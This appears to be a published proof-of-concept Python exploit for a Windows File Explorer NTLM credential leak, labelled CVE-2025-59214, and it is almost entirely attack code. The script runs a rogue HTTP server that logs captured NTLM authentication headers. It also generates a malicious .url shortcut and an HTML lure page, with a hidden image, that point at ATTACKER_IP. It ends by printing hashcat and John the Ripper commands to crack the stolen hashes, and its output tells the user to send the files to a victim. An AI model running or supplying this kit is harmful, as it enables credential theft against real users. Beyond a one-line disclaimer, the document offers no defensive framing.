Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
# CVE-2025-59214 - Windows File Explorer NTLM Leak PoC
# This PoC demonstrates how an attacker can leverage Windows File Explorer
# to leak NTLM credentials via a malicious UNC path.
import socket
import threading
import struct
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
# ============================================================
# Step 1: Set up a rogue SMB server to capture NTLM authentication
# ============================================================
class NTLMLeakHandler(BaseHTTPRequestHandler):
"""Simple HTTP server to capture NTLM hashes via WebDAV/Web requests"""
def do_GET(self):
print(f"[*] Received GET request from: {self.client_address[0]}")
print(f"[*] Headers: {self.headers}")
# Capture Authorization header which contains NTLM hash
auth = self.headers.get('Authorization')
if auth and 'NTLM' in auth:
print(f"[+] NTLM Hash captured: {auth}")
# Save the hash to a file for offline cracking
with open('captured_ntlm.txt', 'a') as f:
f.write(f"{self.client_address[0]}:{auth}\n")
self.send_response(200)
self.end_headers()
self.wfile.write(b"<html><body>Exploit content</body></html>")
def log_message(self, format, *args):
pass # Suppress default logging
def start_http_server():
"""Start rogue HTTP server on port 80"""
server = HTTPServer(('0.0.0.0', 80), NTLMLeakHandler)
print("[*] Rogue HTTP server started on port 80")
server.serve_forever()
# ============================================================
# Step 2: Create malicious URL/file that triggers NTLM leak
# ============================================================
def create_malicious_shortcut():
"""Generate a malicious .url file that triggers NTLM auth"""
attacker_ip = "ATTACKER_IP" # Replace with attacker's IP
malicious_url = f"\\\\{attacker_ip}\\share\\file.txt"
url_content = f"""[InternetShortcut]
URL=file://{malicious_url}
"""
with open('malicious.url', 'w') as f:
f.write(url_content)
print(f"[+] Created malicious URL file: malicious.url")
print(f"[+] When victim opens this in File Explorer, NTLM hash will be leaked")
def create_malicious_html():
"""Generate a malicious HTML page that triggers NTLM auth"""
attacker_ip = "ATTACKER_IP"
html_content = f"""<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<a href="file://\\\\{attacker_ip}\\share\\document.pdf">
Click here to view the document
</a>
<img src="file://\\\\{attacker_ip}\\share\\image.png" style="display:none">
</body>
</html>
"""
with open('malicious.html', 'w') as f:
f.write(html_content)
print(f"[+] Created malicious HTML page: malicious.html")
# ============================================================
# Step 3: Crack the NTLM hash using hashcat
# ============================================================
def crack_ntlm_hash():
"""Instructions for cracking the captured NTLM hash"""
print("\n[*] To crack the captured NTLM hash, use hashcat:")
print(" hashcat -m 5600 captured_ntlm.txt /usr/share/wordlists/rockyou.txt")
print("\n[*] Or use John the Ripper:")
print(" john --format=netntlmv2 captured_ntlm.txt")
# ============================================================
# Main execution
# ============================================================
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-59214 - Windows File Explorer NTLM Leak PoC")
print("=" * 60)
# Create malicious files
create_malicious_shortcut()
create_malicious_html()
# Start rogue server in background
server_thread = threading.Thread(target=start_http_server, daemon=True)
server_thread.start()
print("\n[*] Waiting for victim to trigger the NTLM leak...")
print("[*] Send malicious.url or malicious.html to the victim")
print("[*] Check captured_ntlm.txt for stolen credentials")
try:
while True:
pass
except KeyboardInterrupt:
print("\n[*] Exiting...")
crack_ntlm_hash()